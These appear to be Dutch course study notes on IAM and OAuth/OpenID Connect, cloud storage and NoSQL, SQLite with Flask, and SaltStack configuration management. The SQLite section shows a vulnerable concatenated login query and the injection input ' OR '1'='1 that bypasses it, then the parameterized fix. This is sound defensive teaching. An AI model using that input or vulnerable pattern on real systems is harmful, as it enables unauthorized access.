Inloggen moet convenient zijn (zo weinig mogelijk inlogschermen) en secure (zo weinig mogelijk plekken waar de echte credentials staan, en toegang tot zo weinig mogelijk resources). Voorbeeld: Google Sign-In: na één keer inloggen kun je bij alle Google-diensten en gekoppelde diensten zolang de sessie niet verloopt (time-out is een securityfeature).
Definities
| Begrip | Betekenis |
|---|---|
| IAM — Identity and Access Management | De securitydiscipline die zorgt dat de juiste personen bij de juiste resources kunnen, op de juiste momenten, om de juiste redenen (Gartner). Steeds meer business-aligned; vraagt ook businessskills. |
| AAA | Authentication = bewijzen wie je bent; Authorization = toegang geven of weigeren; Accounting = vastleggen en rapporteren wat er gebeurt. |
| Credentials | Identificatie plus bewijs daarvan om toegang te krijgen: gebruikersnaam en wachtwoord, smartcards, certificaten, vingerafdruk. |
| SSO — Single Sign-On | Eén keer authenticeren en daarna automatisch bij verschillende doelsystemen. De doelsystemen houden hun eigen credential stores; SSO beantwoordt de inlogvragen op de achtergrond. |
| Federated Identity Management | Identiteitsinformatie wordt gedeeld tussen entiteiten en over trust domains heen: een vertrouwde identity provider geeft attributen door aan een relying party. |
| Identity token | Het "bewijs" dat in plaats van de credentials wordt uitgewisseld. |
Samengevat: in de cloud wil je IAM met SSO en zo weinig mogelijk uitwisseling van credentials. Daarvoor heb je federated identity management nodig, dat authenticatie, autorisatie en eventueel accounting regelt en tokens gebruikt om autorisatie-informatie uit te wisselen.
Federation tussen bedrijven (AD FS)
Trey Research heeft de gebruikersaccounts (de account partner / claims provider); A. Datum heeft de webapplicatie (de relying party / resource partner). Ze vertrouwen elkaar via een federation trust: ze spreken af welke claims worden gegeven en geaccepteerd, en wisselen certificaten en public keys uit.
- De gebruiker wil naar de webserver van A. Datum; die kent hem niet en verwijst hem naar de federation server van A. Datum.
- Die kent hem ook niet en stuurt hem naar zijn eigen (Trey) federation server.
- De federation server van Trey laat de domain controller (AD DS) het wachtwoord controleren.
- Trey geeft de gebruiker een claim in een security token.
- De gebruiker geeft die claim aan de federation server van A. Datum, die hem accepteert (en vaak een nieuwe claim uitgeeft).
- Met die claim krijgt hij toegang tot de webserver.
Elke partij houdt de controle over zijn eigen deel: Trey over de accounts en de authenticatie, A. Datum over de applicatie en de toegang.
IAM bij AWS en Azure
- AWS: een user hoort bij 0 of meer groups; policies worden aan groups of users gekoppeld; een policy bestaat uit diensten met hun toegangsniveau op bepaalde resources, in JSON (
"Action": "ec2:*","Resource": "*"). (IAM-roles: niet voor de toets.) - Azure gebruikt rollen (RBAC).
Tokens
{
"access_token": "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Mz…",
"expires_in": 3600,
"refresh_token": "c643a63c072f0f05478e9d18b991db80…",
"token_type": "Bearer",
"user_id": "16FASL"
}
- Access token: credential om bij beschermde resources te komen. Staat voor specifieke scopes en een duur, gegeven door de resource owner en afgedwongen door de resource server en authorization server. Vervangt allerlei constructies (zoals gebruikersnaam en wachtwoord) door één token; meestal onleesbaar (opaque) voor de client.
- Refresh token: credential om een nieuw access token te halen als het huidige verloopt (of een extra token met dezelfde of kleinere scope). Optioneel; gaat alleen naar de authorization server, nooit naar de resource server.
expires_in: 3600= een uur geldig.Bearer= wie het token heeft, mag het gebruiken.
Open standaarden
| Standaard | Van | Doet | Formaat |
|---|---|---|---|
| SAML (Security Assertion Markup Language) | OASIS | Authenticatie én autorisatie | XML |
| OAuth 2.0 | IETF (RFC 6749) | Alleen autorisatie | HTTP, tokens |
| OpenID Connect | OpenID Foundation | Gebruikt OAuth 2.0 (autorisatie) en voegt authenticatie en identiteit toe | REST-achtig, ID token |
- OAuth 2.0 laat een applicatie van een derde beperkte toegang krijgen tot een HTTP-dienst, namens de resource owner (na diens toestemming) of namens zichzelf.
- OpenID Connect 1.0 is een eenvoudige identity layer bovenop OAuth 2.0: de client kan de identiteit van de eindgebruiker controleren op basis van de authenticatie door een authorization server, en basisprofielinformatie ophalen.
OAuth 2.0: rollen, registratie en scope
| Rol | Wie |
|---|---|
| Resource owner | Meestal jijzelf, de gebruiker. |
| Resource server | De server met de beschermde data (bijv. Google met je profiel): de API. |
| Client | De applicatie die toegang vraagt (je website of mobiele app). |
| Authorization server | Geeft de access tokens uit aan de client. Kan dezelfde server zijn als de resource server, en vaak is dat zo. |
- Client registration bij de authorization server: je geeft de applicatienaam, de redirect URL's (waar de autorisatiecode en het token naartoe gaan) en de grant type(s). Je krijgt een client ID (unieke random string) en een client secret (geheime sleutel).
- Scope: parameter die de rechten van het access token beperkt (bijv. alleen
profileof alleenactivity).
Vier grant types:
| Grant type | Wanneer |
|---|---|
| Authorization Code Grant | Client is een webserver; gebruikt refresh tokens. |
| Implicit Grant | Client is JavaScript in de browser, geen webserver; geen refresh token. |
| Resource Owner Password Credentials Grant | Client en resource server van hetzelfde bedrijf. |
| Client Credentials Grant | De client is zelf de resource owner. |
De OAuth 2.0-flow (RFC 6749)
- (A) Authorization Request: de client (app) vraagt de resource owner (gebruiker) om autorisatie, bij voorkeur via de authorization server.
- (B) Authorization Grant: de client krijgt een grant, een credential die de toestemming van de resource owner voorstelt.
- (C) Authorization Grant: de client vraagt een access token aan bij de authorization server en laat de grant zien (en authenticeert zichzelf).
- (D) Access Token: de authorization server controleert client en grant en geeft een access token.
- (E) Access Token: de client vraagt de beschermde resource op bij de resource server (API) met het token.
- (F) Protected Resource: de resource server controleert het token en levert de data.
Voorbeeld Fitbit: de familie wil het aantal stappen van mama zien. Mama (resource owner) geeft de familie-app (client) toestemming; de app krijgt een token met een beperkte scope en haalt de stappen op bij de Fitbit-API (resource server). Mama geeft nooit haar wachtwoord aan de app.
OpenID Connect-flow: (1) de RP (client) stuurt een authentication request naar de OpenID Provider (OP); (2) de OP authenticeert de gebruiker en krijgt autorisatie; (3) de OP antwoordt met een ID token en meestal een access token; (4) de RP stuurt met het access token een request naar het UserInfo endpoint; (5) dat geeft claims over de gebruiker terug. Uitproberen kan in de Google OAuth 2 Playground of het OpenID Connect Playground.
Het lab: OAuth met Flask en Authomatic
- OAuth werkt met page redirects. De webapp stuurt de browser naar de pagina van de OAuth-provider, met in de GET-URL onder andere
client_id,redirect_uri,response_typeenscope. Na het inloggen stuurt de provider terug naar deredirect_uri. - Bij de implicit flow staat het token in een fragment identifier (
#access_token=…): dat deel van de URL is alleen zichtbaar voor de client (de browser stuurt het niet naar de server). - Authomatic is een Python-library die de redirects en de ontvangen informatie voor je afhandelt; framework-agnostisch (Django, Pyramid, Google App Engine, Flask). Flask gebruikt Jinja2-templates:
{{ result.user.name }}. - Flask heeft voor development geen aparte webserver nodig (voor productie wel een webserverplugin). Het lab draait op poort 5000 over HTTPS (
ssl_context='adhoc'), want de meeste providers weigeren plain HTTP-redirects. Op de packstack-machine is 5000 bezet door Horizon: gebruik dan 5001. - Google wil extra verificatie bij een IP uit een privérange. Truc: een wildcard-DNS-dienst zoals nip.io:
10.0.0.1.nip.iowijst naar 10.0.0.1, zodat je een "echte" hostnaam hebt. - In
config.pystaat per provider de class (bijv.oauth2.Google), deconsumer_keyenconsumer_secret(client ID en secret) en descope.
S4Les 6 · Storage en cloud management
Exam material: de presentatie, het lab (MongoDB) in het algemeen begrijpen, en het boek hoofdstuk 8 en 12.
Tenants in de cloud
- Single tenant: één organisatie per groep servers. Multitenancy: meerdere organisaties delen een groep servers.
- Vuistregel: kijk naar de app server. Draait je applicatie op een dedicated server, dan is het single tenant; zodra hij op servers draait die ook door andere applicaties worden gebruikt, is het multi tenant.
| Datamodel (Kavis) | App | Database |
|---|---|---|
| Total isolation | Per tenant een eigen app | Per tenant een eigen database |
| Data isolation | Gedeelde app-server | Per tenant een eigen database |
| Data segregation | Gedeelde app | Gedeelde database, data per tenant gescheiden (bijv. op tenant-ID) |
Hoe meer gedeeld, hoe goedkoper en schaalbaarder, maar hoe meer risico op datalekken tussen tenants en hoe moeilijker maatwerk per klant.
Self-service cloud
Gebruikers regelen zelf storage en starten applicaties via een webportal, zonder tussenkomst (van bijvoorbeeld de IT-afdeling). Kan public, hybrid of private.
- Voordelen: niet afhankelijk van de interne provider, alles geautomatiseerd (minder werk voor IT), kostenefficiënt door gedeelde hardware, transparant.
- Nadelen: vraagt veel planning, verzoeken moeten zonder menselijke tussenkomst worden verwerkt (goed doordachte automatisering), en de interface moet simpel zijn voor gebruikers met verschillende kennis.
Monitoring in de cloud
"Meten is weten." Monitoring = metrics verzamelen om te zien of systemen zich gedragen zoals verwacht, en of ze het gewenste gedrag bij eindgebruikers opleveren. Monitor niet alleen de SLA's, maar alles wat een single point of failure kan zijn. Ook input voor demand management. Een systeem kan technisch perfect draaien terwijl het gebruik daalt: dan is er iets mis met usability of productstrategie.
- Drie domeinen: user experience (de gebruikers), application environment (de applicatie), vendor environment (de infrastructuur). Allemaal even belangrijk.
- Wie monitort wat (Kavis): bij IaaS monitort de klant de user-, application- en application-stack-laag (de vendor de infrastructuur); bij PaaS de klant de user- en applicationlaag; bij SaaS de klant alleen de userlaag.
- Vier lagen: user layer, application layer, application stack layer, infrastructure layer.
- Zes categorieën: performance, throughput, quality, KPI's, security, compliance.
Relationele databases en hun grenzen
- Producten: Oracle, SQL Server (Microsoft), DB2 (IBM), ASE (SAP, voorheen Sybase), PostgreSQL, MariaDB, MySQL, Ingres. Commerciële licenties zijn duur, en eigen varianten op de SQL-standaard veroorzaken vendor lock-in.
- Ontwerppatronen voor grote, snelle datasets: caching, databases splitsen in read-only en write-only, sharding (per klant, tijd of domein), oude data archiveren, denormaliseren, betere indexes. Soms is dat niet genoeg: dan NoSQL.
| Relationeel (SQL) | NoSQL ("Not only SQL") |
|---|---|
| Vooraf vastgelegd, vast schema (tabellen en kolommen) | Geen vast schema |
| Gestructureerd en rigide; elk record in een tabel is gelijk | Tabellen kunnen ongelijke records bevatten |
| Dwingt dataconsistentie af | Dwingt geen consistentie af |
| Langzamer; minder geschikt voor big data | Sneller; geschikt voor big data |
| Use case: warehousing | Prototyping, newsfeeds, blogs, social media |
NoSQL-types
| Type | Geoptimaliseerd voor | Producten |
|---|---|---|
| Key-value | Snel en schaalbaar, veel writes. Een hashtabel: een unieke key wijst naar een waarde (integer, string, JSON, array). Use case: grote statische data, zoals events of ordergeschiedenis. | Redis, Voldemort (LinkedIn), DynamoDB |
| Document | Zeer snel queryen. Breidt key-value uit: een document is een set key-value-paren, in JSON, XML of binaire JSON. | MongoDB, CouchDB, Couchbase, Riak |
| Column store | Ad-hoc queryen en aggregeren. Slaat alle waarden van een kolom bij elkaar op, dus geen full table scan voor "alle salarissen tussen 40.000 en 50.000". Kolommen kun je on the fly toevoegen. | HBase (Hadoop, batch), Cassandra (interactief), BigTable (Google) |
| Graph | Snel zoeken in onderling verbonden relaties (graafstructuren), bijv. social-media-analyse ("wie speelde in welke film"). | Neo4j, InfiniteGraph, OrientDB |
Storage bij Azure en AWS
- Azure via een storage account: Blob-containers (afbeeldingen, video, backups), Files (SMB-shares), Tables (NoSQL). VM-disks via Managed Disks (Ultra SSD, Premium SSD, Standard SSD, Standard HDD).
- Files: databases presteren slecht met grote bestanden (foto's, video), dus die sla je als bestand op. CDN: geografisch verspreid netwerk van proxyservers voor beschikbaarheid en snelheid.
| AWS | Soort | Kenmerk |
|---|---|---|
| EC2 Instance Store | Block, lokaal op de fysieke host | Ephemeral (vergankelijk): de data bestaat alleen zolang de instance leeft. |
| EBS (Elastic Block Store) | Block | Persistent: blijft los van de levensduur van de instance bestaan. |
| S3 | Object | Ontworpen voor 99,999999999% durability (11 negens): bij 10.000 objecten gemiddeld één verlies per 10 miljoen jaar. Je betaalt voor opslag en ophalen; inkomend verkeer is gratis. Features: REST, versioning, ACL's, IAM-policies, SSL-endpoints. |
| Glacier | Archief | Goedkope langetermijnopslag. |
Toch: maak backups. De kans dat een politieke of economische gebeurtenis Amazon onderuit haalt, of dat je account wordt gehackt, is groter dan dat drie regio's tegelijk verdwijnen. Private alternatief: Ceph.
Data lifecycle in de cloud
- Data lifecycle management is in de cloud een must. Omdat de data niet meer on premise staat, voelen mensen een grotere behoefte aan security (vergelijk geld thuis vs. bij de bank).
- Uitdagingen: hoe bescherm je data (de provider heeft "root"-toegang en kan kopieën maken)? Hoe vernietig je data (de provider maakt backups; wat gebeurt er als je naar een andere provider gaat)?
- Oplossing: encryptie van alle waardevolle data, en bewaar je sleutels niet in dezelfde cloudomgeving.
MongoDB en JSON (lab)
- MongoDB is een document store (NoSQL) die data opslaat in BSON (binaire JSON). Velden mogen per document verschillen, het documentmodel past op de objecten in je code, en het is gedistribueerd met high availability, horizontaal schalen en geografische spreiding ingebouwd. Open source (GNU AGPL).
- Termen: een database bevat collections (vergelijkbaar met tabellen), die documents bevatten (vergelijkbaar met rijen). Elk document krijgt een
_id(ObjectId).
mongoimport --db test --collection restaurants --file restaurants.json
mongosh
> use test
> db.restaurants.find() // alles
> db.restaurants.insertOne({ name: "Red Rooster Harlem",
address: { street: "130 Lenox Ave", city: "New York", country: "USA" } })
> db.restaurants.find({ "address.country": "USA" }).pretty()
> db.restaurants.updateOne({ name: "Red Rooster Harlem" },
{ $set: { "address.street": "310 Lenox Ave" } })
# Python met pymongo
from pymongo import MongoClient
client = MongoClient()
db = client.test
print(db.restaurants.find_one())
In het lab maak je CRUD-functies (create = insert, read = select, update, delete) voor een loyaltyprogramma van een koffieproducent (codes die één keer bruikbaar zijn). Die functies gebruik je in les 7 voor een REST-API.
JSON vs. XML: XML lijkt op JSON, maar heeft veel meer tekst nodig (open- en sluittags), dus groter en trager om te lezen en schrijven. Omdat veel datacommunicatie via mobiele apparaten gaat (trage of dure verbindingen), telt dat. JSON kent objecten ({ }), geneste objecten en arrays ([ ]).
Vak 04 · 3 lessen
Automation
Bij een aantal sprints hoort een theorietoets; heeft een sprint er geen, dan kan de stof in de volgende sprint worden getoetst. Vragen komen uit het werkboek (de stukjes "lesstof tentamen"), de presentaties en de documenten op Canvas. Je krijgt ook code te zien waarvan je de werking moet uitleggen of waar je een fout uit moet halen.
S3Scripting 3 · Database (SQLite) en Flask
Lesstof tentamen: de presentatie, een fout kunnen halen uit Python-code met een Flask-script of HTML-pagina, zelf Flask-scripts hebben gemaakt, begrijpen hoe je SQL-injectie voorkomt, en alle stappen kennen van een SQLite-database en -tabel maken tot INSERT en SELECT.
SQLite
Beheerders krijgen vaak vragen als "hoeveel orders kwamen er gisteren binnen?" of "geef me een lijst met gebruikers": data uit een database. SQLite is een softwarelibrary die een self-contained, serverless, zero-configuration, transactional SQL-database-engine implementeert. Er zijn naar schatting meer dan een biljoen (1012) SQLite-databases in gebruik: in elke Android- en iOS-telefoon, elke Windows 10-machine, elke Firefox, Chrome en Safari, en de meeste tv's en settopboxen.
| Voordelen | Nadelen |
|---|---|
| Open source, veel gebruikt, cross-platform | Open source (geen leverancier die verantwoordelijk is) |
| Serverless en zero configuration, makkelijk te installeren | Geen client/server |
| Triggers, transactions, views | Geen security (geen gebruikers of rechten) |
| 81.000 regels code en 81 miljoen regels testcode | Niet geschikt bij zwaar gelijktijdig gebruik |
| Geen beheer nodig: werkt goed in telefoons, tv's: IoT |
Console (sqlite3 of sqlite3.exe): .help, .schema (de tabeldefinities), .header on (kolomnamen tonen), .quit. Grafisch: DB Browser for SQLite, SQLiteStudio, PyCharm.
SQLite vanuit Python
import sqlite3
conn = sqlite3.connect("school.db") # 1 verbinding (maakt het bestand als het niet bestaat)
c = conn.cursor() # 2 cursor
c.execute("CREATE TABLE users (id integer, username text, password text)")
c.execute("INSERT INTO users VALUES (1, 'jan', 'Pa$$w0rd')")
conn.commit() # 3 wijzigingen vastleggen
c.execute("SELECT * FROM users")
print("EERSTE USER:", c.fetchone()) # één rij (tuple)
print("VOLGENDE USER:", c.fetchone()) # de volgende rij, of None
for row in c.execute("SELECT * FROM users"): # door alle rijen lopen
print("row", row)
conn.close() # 4 sluiten
conn.commit() na een INSERT/UPDATE/DELETE, dan is de data na het sluiten weg. Een SELECT heeft geen commit nodig.Aggregatie in de query (weekopdracht met 1000 random getallen in CREATE TABLE nummers (getal INTEGER)): SELECT SUM(getal) FROM nummers, AVG(getal), MIN(getal), MAX(getal). Het resultaat haal je op met c.fetchone()[0].
SQL-injectie voorkomen
# FOUT: invoer wordt aan de SQL-string geplakt
u = input("user: "); p = input("password: ")
c.execute("SELECT * FROM users WHERE username='" + u + "' AND password='" + p + "'")
# invoer ' OR '1'='1 maakt de WHERE altijd waar → ingelogd zonder wachtwoord
# GOED: parameterized query met ? als placeholder
t = (u, p)
c.execute("SELECT * FROM users WHERE username=? AND password=?", t)
Met ?-placeholders geeft de database-driver de waarden apart door. Ze worden dan altijd als data behandeld, nooit als SQL-code. De parameters geef je als tuple (een enkele waarde: (u,)).
Flask
- Een GUI kan via de console, met Tkinter (werkt alleen als Python op de client staat) of als webapplicatie met een webframework zoals Django of Flask: dan kan iedereen met een browser erbij.
- Flask is een microframework (kleine, uitbreidbare kern) in Python, gebaseerd op de Werkzeug WSGI-toolkit en de Jinja2-template-engine.
- WSGI (Web Server Gateway Interface) is de standaardinterface tussen webservers en Python-webapplicaties. Voor productie gebruik je een echte WSGI-server (Apache, IIS, gunicorn), niet de ingebouwde ontwikkelserver.
- Virtual environment: hoe meer projecten, hoe groter de kans dat je verschillende versies van libraries (of Python zelf) nodig hebt; een nieuwere library voor het ene project kan het andere breken. Een venv geeft elk project zijn eigen packages.
python3 -m venv .venv
. .venv/bin/activate # Windows: .venv\Scripts\activate
pip install Flask
deactivate # venv weer uit
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/') # decorator: deze URL hoort bij de functie eronder
def index():
return render_template('index.html', title='Welcome', username='Rosalia')
@app.route('/user/<name>') # flexibele route met variabele
def user(name):
return f'Hallo {name}'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
return 'Welkom ' + request.form['username']
return render_template('login.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True, ssl_context='adhoc')
Argument van app.run() | Standaard | Betekenis |
|---|---|---|
host | 127.0.0.1 | Met 0.0.0.0 luistert de server op alle IP-adressen van de host (ook van buitenaf bereikbaar). |
port | 5000 | De poort. |
debug | False | True geeft foutmeldingen in de browser en herstart bij codewijzigingen. |
ssl_context | geen | 'adhoc' maakt een certificaat en key aan: een HTTPS-server. Ook eigen sleutelmateriaal kan. |
- Templates staan in een map
templatesnaast je Python-bestand; anders vindtrender_templateze niet. Importeerrender_templateuit flask. - Jinja2:
{{ variabele }}voor tekst invullen,{% if … %} … {% endif %}en{% for … %}voor logica. - Routing: mooie URL's die je kunt onthouden:
/booking/in plaats van/booking.php,/account/1234/in plaats van/account.asp?id=1234. - Formulieren: het HTML-
<form action="/gebruiker" method="post">moet passen bij een route metmethods=['POST']; de velden lees je metrequest.form['first_name'](of je geeft het helerequest.formaan de template). - Noem je eigen bestand niet
flask.py: dan vindt Python de echte Flask-module niet meer.
Fouten zoeken in Flask-code
| Symptoom | Oorzaak |
|---|---|
NameError: name 'app' is not defined | app = Flask(__name__) ontbreekt (zoals in gebruiker.py uit het werkboek, waar ook app.run() mist). |
NameError: name 'render_template' is not defined | Niet geïmporteerd: from flask import render_template. |
TemplateNotFound: index.html | Het bestand staat niet in de map templates, of de naam is anders geschreven. |
| 405 Method Not Allowed bij het versturen van een formulier | De route accepteert alleen GET; voeg methods=['POST'] (of ['GET','POST']) toe. |
| 404 Not Found na het versturen | De action van het formulier verwijst naar een URL waarvoor geen route bestaat. |
| Van buitenaf niet bereikbaar | host staat op de standaard 127.0.0.1 in plaats van 0.0.0.0 (of de firewall laat poort 5000 niet door). |
KeyError / 400 Bad Request op request.form['x'] | Het veld heet in de HTML anders (name="…"). |
| Variabele leeg in de pagina | Niet meegegeven aan render_template(…, naam=waarde) of anders gespeld in {{ }}. |
In de weekopdracht maak je ook een simpele webmail: een formulier met ontvanger, onderwerp en tekst, verstuurd via smtplib (bijv. Gmail: poort 587 met STARTTLS en een app-wachtwoord, omdat Google basic authentication niet meer toestaat).
S3Tooling 2 · Configuration management met SaltStack
Lesstof tentamen: de presentatie en het werkboek (de precieze inhoud van de configuratiefiles hoef je niet te kennen, wel welke services nodig zijn, waarvoor, en hoe je ze globaal configureert), plus de SaltStack-theorie op Canvas (o.a. Declarative vs Imperative en introduction to configuration management).
Wat is configuration management?
Configuration management is het systematisch afhandelen van wijzigingen aan een systeem, zodat de integriteit over de tijd behouden blijft. In ons vak: server configuration management. Voordelen:
- Snel nieuwe servers provisionen.
- Snel herstellen na kritieke gebeurtenissen.
- Goed "gedocumenteerde" systemen (de config-bestanden zijn de documentatie).
- Makkelijk repliceren.
- Versiebeheer.
- Kleinere back-ups (je hoeft alleen data plus de configuratie te bewaren).
Tools
| Tool | Kenmerken (uit de notities) |
|---|---|
| SCCM (System Center Configuration Manager) | Windows. |
| DSC (Desired State Configuration) | Windows, beheerplatform in PowerShell. |
| Puppet | Ruby, gemaakt met sysadmins in gedachten, makkelijker dan CFEngine; voor geavanceerde taken leer je Ruby. Declaratief. |
| Chef | Ruby (Ruby-DSL), master-agent plus een workstation om de master te besturen; recipes en cookbooks; moeilijk. Imperatief. |
| Ansible | Nieuwer, Python, geen agent nodig, security via SSH. |
| Salt(Stack) | Python; CLI in Python of een DSL (PyDSL); master en minions; ZeroMQ, sneller dan Puppet/Chef. |
| CFEngine | In C, ingewikkeld, kleine geheugenvoetafdruk, snel. |
Declaratief vs. imperatief
- Declaratief: je beschrijft de gewenste eindtoestand ("dit bestand bestaat met deze inhoud", "dit pakket is geïnstalleerd"); de tool zoekt zelf uit hoe. Voorbeeld uit de dia, een Puppet-manifest:
file {'/tmp/testing123': ensure => file, content => "This is a test.\n"}. Salt-states zijn ook declaratief. - Imperatief: je schrijft de stappen uit die moeten gebeuren, in volgorde. Voorbeeld uit de dia, een Chef-recipe:
if node['java']['jdk_version'] == 7 … execute "apt-get -y install openjdk-7-jdk" … else … end. - Gevolg: declaratieve configuratie is idempotent: je kunt hem vaak toepassen en er verandert alleen iets als de werkelijkheid afwijkt van de beschrijving.
Waarom SaltStack, en hoe het communiceert
Redenen: Python-gebaseerd (fouten en configuratie goed te lezen), makkelijk te leren, goed gedocumenteerd, enthousiaste sysadmins, leesbaar YAML, levendige community, open source, schaalbaar.
- Server-agentmodel: de server heet master, de agent minion. Een master kan duizenden systemen beheren.
- De minions maken de verbinding naar de master op TCP 4505 en 4506 (de master hoeft geen verbinding naar de minions te openen, dus op de minion is geen firewallpoort nodig).
- 4505: blijvende verbinding met de publisher-poort; de minions luisteren daar naar berichten (commando's van de master).
- 4506: de request server; minions verbinden als dat nodig is om resultaten terug te sturen en bestanden of andere data op te vragen.
- Security: eerst een handshake waarbij de minion zijn public key naar de master stuurt. Accepteert de master die key, dan gaat de communicatie verder versleuteld met een roterende AES-sleutel.
# master
dnf install salt-master
systemctl enable --now salt-master
firewall-cmd --permanent --add-service=salt-master
firewall-cmd --reload
# minion
dnf install salt-minion
nano /etc/salt/minion # master: salt.school.test
systemctl enable --now salt-minion
# keys op de master
salt-key -L # alle keys tonen
salt-key -a client.school.test # één key accepteren (-A = allemaal)
salt-key -d client.school.test # key verwijderen
salt '*' test.ping # True = het werkt
Automatisch accepteren kan met een autosign-bestand (bijv. *.school.test). Een minion op Windows installeer je met de MSI (configuratie en logs in C:\ProgramData\Salt Project\Salt\).
Minion installeren via kickstart
%post
curl -fsSL https://github.com/saltstack/salt-install-guide/releases/latest/download/salt.repo | tee /etc/yum.repos.d/salt.repo
dnf install -y salt-minion
sed -i "/#master:/c\master: salt.school.test" /etc/salt/minion
systemctl enable salt-minion
systemctl start salt-minion
%end
"Wat gebeurt hier?" Na de OS-installatie (PXE + kickstart, %post-fase) wordt de Salt-repository toegevoegd, de minion geïnstalleerd, de regel #master: in het configbestand vervangen door master: salt.school.test (sed c\ = change line), en de minion-service ingeschakeld en gestart. De nieuwe machine meldt zich dus zelf bij de master; je hoeft alleen nog de key te accepteren. Er is wel internet nodig.
Concepten: YAML, Jinja, grains, states, pillars
| Begrip | Wat |
|---|---|
| Grains | Statische informatie over de minion (OS, os_family, fqdn, IP, saltversion), automatisch verzameld of zelf gezet in /etc/salt/minion (bijv. roles: webserver). Gebruik: targeting. |
| State | Een .sls-bestand in YAML dat de gewenste configuratie beschrijft (declaratief). Staan op de master in /srv/salt/. |
| Pillar | Data die op de master staat en aan (specifieke) minions wordt gegeven: gevoelige data zoals wachtwoorden, minionconfiguratie (de naam van het Apache-pakket: httpd op CentOS, apache2 op Debian), en variabelen zoals de DNS-servers van het bedrijf. |
| YAML | Mensleesbaar maar machine-parseerbaar. Inspringen met (twee) spaties, geen tabs. |
| Jinja | Templatetaal om tekst te vervangen: {{ … }} voor eenvoudige vervanging, {% … %} voor logica (if/elif/endif, for). |
| top.sls | Koppelt minions (targets) aan states, zodat state.apply zonder naam alles toepast. |
Remote execution
salt '*' test.ping # alle minions
salt client.school.test cmd.run pwd # shellcommando op één minion
salt '*' disk.usage
salt client.school.test acl.getfacl /root/
salt-run manage.status # welke minions up/down
salt '*' grains.ls # namen van alle grains
salt '*' grains.items # alle grains met waarden
salt '*' grains.get fqdn
salt '*' grains.item saltversion os_family
salt -G 'roles:webserver' pkg.install httpd # targeting op grain
salt -C 'G@os_family:RedHat and G@roles:webserver' pkg.install httpd # compound
salt 'database1.example.com' cp.get_file salt://my.cnf /etc/my.cnf
Niet alles werkt op Windows-minions (bijv. cmd.run pwd): de modules zijn deels OS-afhankelijk.
State files
# /srv/salt/ssh.sls
ssh-server: # state ID
pkg.installed: # zorg dat het pakket er is
- name: openssh-server
sshd-config:
file.managed: # bestand op de minion = bestand op de master
- name: /etc/ssh/sshd_config
- source: salt://ssh_state/files/sshd_config
- require:
- pkg: ssh-server # eerst het pakket, dan het bestand
ssh-service:
service.running: # service draait …
- enable: True # … en start bij het booten
- watch:
- file: sshd-config # herstart als het configbestand wijzigt
salt://verwijst naar de root van de fileserver: standaard/srv/salt/(aan te passen in/etc/salt/master).- require = volgorde (dit pas na dat). watch = require plus reageren op wijzigingen (service herstarten).
- Toepassen:
salt client.school.test state.apply example(de statenaam zonder.sls). Verwijder je het bestand op de minion en doe je het nog eens, dan zet Salt het gewoon terug: de gewenste toestand wordt hersteld.
# /srv/salt/top.sls
base: # environment
'G@os:Rocky': # target: alleen minions met grain os = Rocky
- example # state example.sls
# daarna: salt '*' state.apply (zonder naam → via top.sls)
Een map met init.sls werkt als state met de naam van de map: apache/init.sls pas je toe als apache (net als apache.sls).
S4Tooling 3 · Configuration management: NextCloud
Lesstof tentamen: zie Tooling 2, plus de presentatie van deze les. Doel van het lab: een NextCloud-server installeren en configureren zonder handmatige acties, met YAML, Jinja, grains, state files en pillars. Je zet een tutorial om naar Salt-configuratie.
NextCloud en wat ervoor nodig is
NextCloud is open-source client-serversoftware voor file hosting, functioneel vergelijkbaar met Dropbox, Office 365 of Google Drive, maar op je eigen server ("zonder pottenkijkers").
| Onderdeel | Waarvoor | Salt-module (tip uit het werkboek) |
|---|---|---|
| Pakketten (EPEL, unzip, bzip2, …) | Benodigdheden | pkg.installed (met sources voor een rpm-URL) |
| Apache (httpd) + virtual host | Webserver; /etc/httpd/conf.d/nextcloud.conf met DocumentRoot /var/www/html/nextcloud/ | pkg.installed, file.managed, service.running |
| Firewall | Inkomend http/https toestaan | firewalld.present |
| PHP 8.2 + modules | NextCloud is in PHP geschreven | cmd.run voor dnf module enable php:8.2 -y, daarna pkg.installed |
| MariaDB | Database: service aan, database, gebruiker en grants aanmaken | mysql_database.present, mysql_user.present, mysql_grants.present (vraagt PyMySQL op de minion: salt-pip install PyMySQL), of cmd.run met mysql-commando's |
| Redis | Caching | pkg.installed, service.running |
| NextCloud-archief | Uitpakken in /var/www/html/, data-map, eigenaar apache:apache | archive.extracted (met skip_verify: True) |
| SELinux | Aan laten, maar de NextCloud-mappen het type httpd_sys_rw_content_t geven en httpd_can_network_connect aanzetten | selinux.fcontext_policy_present (sel_type), selinux.fcontext_policy_applied, selinux.boolean |
| Geheimen | Databasenaam, gebruiker, wachtwoord | Pillar |
| Grains | Alleen installeren op RHEL/Rocky | Target in top.sls |
Opbouw van de state files
/srv/salt/top.sls
/srv/salt/nextcloud/init.sls # include: mariadb en apache
/srv/salt/mariadb/init.sls
/srv/salt/apache/init.sls
/srv/pillar/top.sls
/srv/pillar/nextcloud.sls # db_name, db_user, db_password
# /srv/salt/top.sls
base:
'G@os:Rocky':
- nextcloud
'G@os:Windows':
- windows
# /srv/salt/nextcloud/init.sls
include:
- mariadb
- apache
nextcloud-db:
mysql_database.present:
- name: {{ pillar['db_name'] }}
- require:
- service: mariadb
- include: een state neemt andere states mee (de NextCloud-state include de database- en Apache-states).
- require: zorgt dat een stap pas na een andere wordt uitgevoerd.
- Pillardata gebruik je in een state met Jinja:
{{ pillar['db_password'] }}of{{ salt['pillar.get']('db_password') }}. nextcloud/init.slsis gelijk aannextcloud.sls.- Werkwijze: eerst handmatig installeren in een snapshot; dan stap voor stap automatiseren, elke stap in een aparte state testen; als het werkt de geheimen naar een pillar verhuizen.
Troubleshooting
# op de minion
tail -f /var/log/salt/minion # of /var/log/messages
salt-call --log-level=debug state.apply
# op de master
salt client.school.test state.apply mariadb # één state los testen
Belangrijk voor productie maar niet voor deze cursus: een Git-fileserver-backend (versiebeheer van alle configuratie: geschiedenis en rollback) en een multistage deployment-infrastructuur volgens OTAP (Ontwikkel, Test, Acceptatie, Productie).
OefenenVragen over Tooling 3Herhaling
Spiekbrief
De dingen die je letterlijk moet kunnen opdreunen, per vak. Lees dit de avond voor de toets en doe daarna een proeftoets.
Getallen en poorten
| Wat | Waarde |
|---|---|
| OSPF IP-protocol / AD | 89 / 110 |
